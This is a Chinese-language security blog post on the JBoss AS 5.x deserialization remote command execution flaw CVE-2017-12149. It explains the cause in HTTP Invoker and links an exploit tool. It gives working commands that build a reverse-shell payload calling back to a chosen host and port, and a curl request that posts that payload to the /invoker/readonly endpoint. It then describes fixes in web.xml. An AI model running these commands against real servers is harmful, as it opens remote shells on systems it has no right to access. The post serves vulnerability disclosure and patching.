首页 > 渗透测试 > JBossAS 5.x反序列化远程命令执行漏洞(CVE-2017-12149)
2017
11-25

JBossAS 5.x反序列化远程命令执行漏洞(CVE-2017-12149)

Jboss AS 5.X 反序列化漏洞

漏洞成因

Jboss AS 5.X被曝出反序列化远程命令执行漏洞,主要是由于HTTP Invoker的ReadOnlyAccessFilter中的doFilter方法不会限制执行反序列化的类,从而允许攻击者通过精心设计的序列化数据执行任意代码。

发现漏洞的老外说是只影响5.x ,的链接好像也是影响5.x,但是看一些其它文章好像说也有6.x,不懂了……

漏洞利用

工具地址:

https://github.com/joaomatosf/JavaDeserH2HC

下载执行执行生成二进制payload文件:

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
 
 #修改接收shell的主机ip和端口
 java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap nxadmin.com:1234

curl向被攻击服务器发送攻击payload:

curl http://www.nxadmnin.com:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
如图:

JBossAS 5.x反序列化远程命令执行漏洞(CVE-2017-12149) - 第1张  | 阿德马Web安全

修复建议:

HTTP Invoker是一种为EJB和JNDI命名服务提供HTTP和远程方法调用(RMI)访问的服务。保护此服务以防止未经授权的访问。针对该漏洞的修复可以通过http-invoker.sar中的配置文件增加安全约束:需要注意的是server目录下,有关的配置文件会有多个目录,分别如下:

#或多或少使用默认配置,不同的是启用了集群
 /opt/jboss/jboss5/server/all/
 
 #默认配置
 /opt/jboss/jboss5/server/default/
 
 /opt/jboss/jboss5/server/web/
 
 #标准配置
 /opt/jboss/jboss5/server/standard/

具体修改或者删除哪个目录下的文件,需要取决于服务搭建使用的哪种配置

1,通过在http-invoker.sar的web.xml文件中添加安全约束来保护整个http-invoker对上下文的访问;如果使用的是默认配置,具体配置文件如下:

/opt/jboss/jboss5/server/default/deploy/http-invoker.sar/invoker.war/WEB-INF/web.xml

2,或者如果不使用http-invoker.sar,可以删除掉;如果你的jboss使用的是默认配置,对应要删除的目录如下:

/opt/jboss/jboss5/server/default/deploy/http-invoker.sar/
最后编辑:
作者:admin
这个作者貌似有点懒,什么都没有留下。

留下一个回复

你的email不会被公开。